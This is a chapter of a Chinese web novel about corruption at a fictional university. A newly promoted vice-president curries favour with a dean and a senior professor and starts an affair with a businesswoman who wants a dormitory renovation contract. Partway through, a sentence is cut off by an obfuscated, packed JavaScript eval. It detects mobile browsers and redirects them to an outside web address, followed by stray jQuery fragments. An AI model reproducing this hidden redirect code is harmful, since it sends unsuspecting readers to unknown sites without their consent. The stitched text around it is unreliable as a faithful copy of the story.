36. 春风得意

作品:《象牙塔之波

    新晋副校长后,孟超如今在楚江大学可谓是春风得意、风头无两。从正处级校长助理擢升为副厅级的省管干部,他整个人仿佛被打足了气的氢气球,几乎要不受操控地飘到天上去。这份志得意满,红头文件上那“副厅级”三个字固然是巨大的动能,但自己负责的教工宿舍楼的顺利动工进展顺利,新增加分管科技工作的含金量十足……,所有这些,让他的腰杆挺得更直、胸膛鼓得更高。


    孟超如今坐在那间朝南的副校长办公室里,秋日澄澈的阳光透过宽大的落地窗泼洒进来,将整个空间镀上一层金箔般的光泽。窗外流云舒卷,落在他眼中,竟似敦煌壁画里的飞天正翩然献舞。他时常无意识地用指尖在光洁的红木办公桌上敲击节拍,脑海中轮播着回忆当上副校长以来的“高光时刻”:名正言顺地与许继武、周濂等校领导并肩议事,亲自主持各类重要会议,接待省厅领导的考察调研……。尤其让他心动的,那个十几年来一直冷若冰霜的历史学院院长秦冰纶,如今见了他,脸上的表情和嘴中的温度都有了质的变化和飞跃。


    权力是烈性的春药,现在看来一点不假。


    可不是么?科技工作事关学校的核心竞争力,如今成了各个学院极力要抢占的制高点。如果得不到分管校领导的支持,什么课题呀、经费呀都要打了折扣。秦冰纶是个聪明人,岂会不识时务?


    正当孟超陷入遐想的时候,门外传来三记轻柔的敲门声。


    “请进。”孟超清了清嗓子,端正了坐姿。


    门被轻轻推开,来人让孟超的心跳骤然漏了一拍——不是别人,正是他方才还在思量的秦冰纶。


    秦冰纶穿了件月白色旗袍,旗袍裁剪得体,恰到好处地勾勒出她依然凹凸有致的身段。发髻松松挽起,几缕碎发垂在耳侧,衬得她脖颈愈发修长白皙,显出一种不同往常的、略带慵懒的风情来。她手里拿着一个文件夹,步履轻盈地走到办公桌前。


    “孟校长,没打扰您吧?”秦冰纶微微欠身,旗袍的立领间露出一截雪白的颈子来。孟超正在恍惚,秦冰纶将文件夹递了过来。


    孟超伸手去接,她却不着痕迹地稍稍后撤半步,伸出修长的手指点了点文件的封面:“孟校长,我们历史学院这次打算申报两个国家社科基金课题,这是初步方案,向请您指导指导?”她有意将尾音放得又轻又软,像裹着一层蜜糖,听得人心里发痒,却一时又够不着那糖的实在甜头。


    孟超只觉得喉头有些发干,起身示意秦冰纶坐下说话,动作幅度稍大,险些碰翻了笔筒边摆放着的那个仿乾隆青花瓷瓶。他定了定神,并未立刻回应课题的事,反而起身:“秦院长来得正好,我这儿刚得了些不错的云南小粒咖啡,尝尝?”


    咖啡机咕嘟作响,馥郁的香气很快在办公室里弥漫开来。秦冰纶优雅地坐在沙发上,再次提起课题申报的事情。孟超却不着急表态,他端着两杯咖啡走过来,自然而然地坐在了秦冰纶旁边的单人沙发上,这样可以更加靠近这位楚江大学的“资深美女”。


    “冰纶啊,”他吹了吹咖啡的热气,语气显得十分亲热:“不瞒你说,学校把科研这块工作交给我分管,我这心里还真是有点没底。你是教授,科研方面经验丰富,今后可得给我出主意、提建议啊。”他刻意省略了“院长”的职称,拉近彼此距离的意图显而易见。


    秦冰纶轻轻拢了拢耳边的碎发,指尖在咖啡杯沿若有似无地画着圈,眼波流转、语态从容:“孟校长您太谦虚了,您分管科研是众望所归,大家都很服气呢。”顿了顿,像是忽然想起什么,继续说道:“要说建议嘛,我倒是觉得,省里最近重点推的那个‘产学研协同创新计划’,潜力很大,您可以重点关注一下。”


    见孟超身体微微前倾显露出兴趣,秦冰纶又不着痕迹地补充了一句:“不过呢,这种项目通常周期长,见效慢,投入精力大,最终的成果显现也需要时间,恐怕不太容易立刻做出亮眼的政绩……”,说到这里,她抿唇微微一笑,有意将真正核心的、关乎申报技巧和资源倾斜的关键信息都咽了回去。骨子里的厌恶、怨恨、妒忌可不是一夕之间就可以烟消云散的。


    即便如此,孟超似乎已是大为受用。他屁股不自觉地又往秦冰纶那边挪了近半寸,鼻翼微翕,将她身上传来的淡淡馨香——或许是香水,或许是体香——悄悄吸入肺中。这香气,连同她此刻“推心置腹”的姿态,让他有些飘飘然。感动之余,嘴便不容易把门,甚至连“冰纶你放心,你的能力大家都看在眼里,今后班子调整,我肯定全力支持你”这样不该自己说的话也秃噜了出来。


    这倒是秦冰纶此刻愿意听到的。在象牙塔里沉浮这些年,她早已深谙其道:在这条蜿蜒曲折、看似风光实则暗流汹涌的仕途上,与其处处树敌、时时如履薄冰,不如广结善缘、多寻台阶。多一个朋友,便似在风雨亭中多备下一把油纸伞,未必时时用得着,但骤雨突至时,总能护住半肩干爽;少一个敌人,如同在悬崖边悄然撤去一块绊脚石,看似无关紧要,却能在最关键的时刻避开万丈深渊。漫长的博弈里,没有永恒的敌人,只有永恒的利益——而若能巧妙地将利益交换转化为些许看似真诚的情谊,则更能显出自己的格局与本事。


    想到这里,秦冰纶决定投桃报李,语气显得愈发真诚:“孟校长,既然您这么信任和支持我,我倒是有个不成熟的小建议,不知道当讲不当讲?”


    “哦?但说无妨。”孟超立刻回应。


    “您如今分管科技工作,于情于理,我觉得您都应该抽时间去拜访一下莫笑非莫老先生。”秦冰纶缓缓说道,观察着孟超的反应。


    孟超似乎一点也不想掩饰自己的不屑:“老莫?他现在连学术委员会主任都不是了,再过两年就要退休了,为什么要去拜访他?还能翻起什么大浪不成?”


    秦冰纶心中暗自嗤笑孟超的短视与肤浅。既然打算在孟超身上投资这份“善缘”,她还是决定将诚意做得更足一些。她莞尔一笑,语气更加恳切:“话可不能这么说呀。莫教授虽然现在看起来比较低迷,但他在全国学术界的影响力和话语权,那可是几十年沉淀下来的,无人能够取代。尤其他的门生故旧遍布学界要害部门,教育部里还有几位他的弟子呢,这样的能量不容小觑。您现在刚刚分管科技工作,如果能得到到他的支持,对迅速打开局面、站稳脚跟应该还是有好处的。这就像是……。在咱们楚江大学的科研阵地上,他到底还是一面旗帜,的。”


    秦冰纶这番推心置腹的分析,让孟超大受感动。为了显示对她的尊重和一个厅级干部的胸怀,他点头接受了秦冰纶的建议。


    三天后,孟超出现在了“荆楚大先生工作室”门口。这也是目前唯一给莫笑非留下的体面。新任学术秘书林书锦早已接到通知,恭敬地在前面躬身引路。孟超迈步而入,目光不经意间瞥见厅堂正面墙上新挂起的一幅匾额,上书四个苍劲有力的大字:“经世致用”。落款处的小字,赫然是一位教育部副部级领导的名字。孟超的心头不由得凛然一肃,先前那点轻视之心瞬间收敛了大半。


    林书锦进去通报后,莫笑非才从里间办公室慢悠悠地踱了出来。他穿着一件半旧的灰布长衫,衣角扫过桌面堆放的一些线装书,发出轻微的沙沙声。


    几句例行公事般的寒暄过后,莫笑非忽然用枯瘦的手指叩了叩面前那本厚厚的《楚江大学学术志》,看似随意地问道:“孟校长年轻有为,想必在C刊上发过不少大作吧?”


    这话问得平淡,却像一柄精准而锋利的手术刀直插孟超的软肋。他胸中顿时像是被点了一把火,灼热难堪,脸上却努力维持着谦逊的笑容:“莫老您说笑了,”他语调放得极低,显得十分谦恭:“实在是惭愧。这些年一直忙于各种行政事务,案牍劳形,很难抽出整块时间静下心来钻研学问,科研成果方面,确实是……是我的短板,正要向莫老您这样的大家多多请教学习。”


    莫笑非嘴角似乎浮起一丝极淡的、难以捕捉的不屑。半晌,才缓缓抬起眼皮,像是忽然想起一件陈年旧事,慢悠悠地说道:“哦,是吗?可我倒是依稀记得,当年孟校长还在财经学院的时候,对我那次在会议上提出的‘领导干部应带头搞科研’的倡议,似乎……颇有些不同的见解啊?”这话如同一条冰冷的毒蛇,倏地钻入孟超的耳中。


    “真他妈饿狗记得千年屎,还真拿自己当人啦!”孟超在心里恶骂了一句,一股邪火直冲顶门。但他脸上努力挤出的笑容却愈发显得恭敬甚至略带赧然:“嗨!莫老您真是好记性。那都是多少年前的旧事了,那时候年轻气盛,不懂事,说话做事都不成熟,让您见笑了。您可千万别跟我一般见识。”他把自己放得几乎要低到了地面上。


    副校长罕见的低调和谦卑,似乎极大地满足了莫笑非那点学术权威的优越感,他干枯严肃的脸上线条稍稍柔和了一些,态度也随之缓和了不少,甚至带上了一点“谆谆教导”的意味:“嗯,知不足而后进,也好。不过,小孟啊,你现在毕竟是班子里的少壮派,代表学校的未来,总顶着个副教授的头衔,长远来看,终究是不太相称的。这教授职称,还是该早日解决才是正理。名不正则言不顺嘛。”


    这话倒是戳中了孟超的心事。他自己何尝不清楚,要想在未来的竞争中与早已经是教授的江川副校长抗衡,正高职称是他必须尽快拿下的硬指标。而这个环节,眼前这位在学校学术圈依然一言九鼎的莫笑非的支持,无疑是至关重要的敲门砖甚至通行证。


    想到这里,孟超脸上的笑容更加热切了几分。他像是刚刚想起似的,随手将带来的一个精致锦盒拎上了桌面,盒盖上绣着繁复的花纹,里面是上品的冬虫夏草:“莫老,听说您最近胃有些不舒服,这是点小心意,给您补补身子。”


    莫笑非只拿眼梢淡淡地瞟了那锦盒一眼未置可否,转身从身后的书架上取下一本自己的新著,翻开扉页,龙飞凤舞地签上自己的大名,然后递给孟超:“来而不往非礼也,这本小书,就算是我的一点回礼吧。”


    孟超急切地想请教学校科研工作的推进方略,莫笑非似乎兴趣不大,敷衍了几句后,干枯的脸上忽然浮起一种意味深长的笑容,压低声音问道:“听说教工宿舍楼明年可以封顶了?”


    “这家伙消息倒不闭塞。”孟超心下暗讽,嘴上却奉承起来:“莫老您担心什么呀,像您这样的学术泰斗,分房时肯定得上最好的楼层、最好的户型呀。”


    莫笑非脸上深刻如沟壑的皱纹瞬间舒展


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904237|192344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开来,乐得如同盛放的菊花。在详细地询问了宿舍楼的有关情况后,他心情大好,亲自起身,一路将孟超送到工作室门口,紧紧握住孟超的手,保证一定会“鼎力襄助”他分管好学校的科技工作。


    能够得到几乎很少正眼看人的莫笑非如此礼遇,走在回行政楼的路上的孟超只觉得天空更加湛蓝,阳光更加灿烂,就连路边树林里的鸟鸣似乎也格外悦耳动听起来。孟超本就不是一个天性谨慎、善于克制自己的人。人逢喜事精神爽。心中最近被迫压制的种种欲望,又开始如同春雨滋润后的泥土里的蚯蚓嗅到了湿润的腥气,开始悄悄地蠕动着钻出地面,迎接这唾手可得的繁华世界。


    然而,他的头上悬着一把达克摩斯之剑。自从进入校级班子以来,妻子韩梅对他的看管似乎也随之升级并严密,随时随地随机随意的查岗经常让人猝不及防,仿佛在他周围拉起了一道无形的警戒线,让他自由发挥的空间变得无比狭窄。


    孟超有时简直是不胜其烦。


    领导跃跃欲试、躁动不安的心思,早已被善于察言观色钟德君尽收眼底。


    钟德君现在最大的烦恼是妻子吴雅洁似乎已经将“离婚”二字当作一件严肃的选项来考虑。思前想后,痛定思痛,钟德君知道必须和长期保持地下往来的女商人刘芳断了关系。


    请神容易送神难。早已离婚的刘芳,可不是个好打发的角色。年近四十,正是如狼似虎的年纪。在刘芳的心中时刻揣着两本账:一本是钟德君那身结实的身体;一本是他楚江大学基建处处长助理的身份。刘芳从前年开始便将自己的一半生意挪到了武汉,专门注册成立了建筑装饰公司,楚江大学这几年基建项目频繁上马,钟德君不正好是可以借助的力量吗?现在,每当钟德君出现彷徨纠结时,刘芳就会好烟好酒好菜伺候着,钟德君想轻易甩脱?几乎门都没有。


    在焦头烂额之际,“人生导师”兼“仕途明灯”的孟超副校长忽然浮现在了钟德君的眼前。一个大胆的想法瞬间在他的脑中生成:何不将刘芳这个“妖精”转手给孟超呢。


    钟德君深为自己灵光乍现的一石二鸟之计自鸣得意。原本钟德君还有些担心以孟超如今的身份地位以及阅人无数的经历未必能看得上艳俗的刘芳,更有些担心刘芳怨恨自己弃之如衣服的薄情。没想到,事情的进展却出乎意料地顺利。在钟德君分别向两人表达牵线的意思时,他们不约而同地流露出了急于见面的意图。果然,第一次见面,两人大有相见恨晚之意,而且从此一发而不可收。一个是美色的追求者,一个是利益的索求方,一拍即合,迅速升温,很快便缠绵到了一处。毕竟是自己把玩了几年的玩具,刚开始时,钟德君内心多少有些酸溜溜的失落,转念一想,终究是拆除了身边的炸弹引信,这未尝不是一桩幸事。他强任他强,明月照山岗,由他们去吧,只要不殃及自己这条池鱼便好。


    刘芳是个不折不扣的商人,赚钱永远是她衡量一切的第一准则。在商海中浮沉搏杀二十余载,她早已参透:自己这副精心保养的皮囊,不过是一具行走的算盘——□□是谈判时增减的砝码,腰肢是权衡利益的杠杆,甚至连最私密的皱褶里都清晰地标注着价码。商道上的情义薄如草纸,一戳即破,反倒是床笫间的喘息与温存更容易折算成实实在在的真金白银。每当有男人用贪婪混合着欲望的目光丈量她的身体曲线时,她心底便会泛起一丝冰冷的嘲笑:看吧,尽情地看,横竖你们量出的是自己那点肮脏的欲念,而我量出的永远是本月的现实流水和利润。那些自以为正在采撷艳福、钻入裙底的手,必须替她签下一笔新的买卖,盖下一个通往利益的印章。对她而言,男人不过是“铁打的营盘流水的兵”。嗅觉灵敏的刘芳,从第一次见到孟超起,就认定这个省管干部的利用价值远远超过钟德君。对这样的人,分寸的拿捏和把握是重要的,有时可以将他当作呼来喝去的“小兵”,有时又必须将他奉若神明地捧成“将军”。


    眼下,刘芳盯住的是楚江大学的一块“肥肉”:一年后将要封顶的十六栋教工宿舍楼。


    在几次小试牛刀的摸底后,刘芳在风景宜人的东湖边上的酒店长租了一间豪华套房。落地窗外,湖水浩渺,在阳光下泛着银鳞般的光泽。但只要那厚重的窗帘一拉,这里便成了一个精致而隐秘的笼子——专等着孟超这只春风得意的“鸟儿”主动进来。


    孟超岂能不懂这温柔陷阱背后的算计?每次云收雨歇后,刘芳总会变着法子打听宿舍楼的进展情况以及后续的装修安排。每当此时,孟超燥热的身体就会瞬间变凉:宿舍楼的装修工程虽然还在一年之外,但现在早就成了一块众所周知、饿狼环伺的肥美鲜肉。熟识不熟识的包工头们揣着鼓鼓囊囊的红包,像幽灵般在校园里游荡徘徊;材料商脸上堆砌着能挤出蜜来的媚笑,开始电话、短信各种渠道展开“问候”轰炸……,盘根错节,水深难测。现在,自己既然入了刘芳的温柔乡,总得对她的情意总得有些表达。至于如何表达,孟超不想急着给出答案。


    窗外,东湖的夜雾渐渐升腾弥漫上来,无声无息地笼罩了玻璃窗,将那一片湖光山色模糊成一块巨大的、灰蒙蒙的毛玻璃。室内的旖旎与算计,窗外的模糊与暧昧,交织成一幅难以言说的现代浮世绘。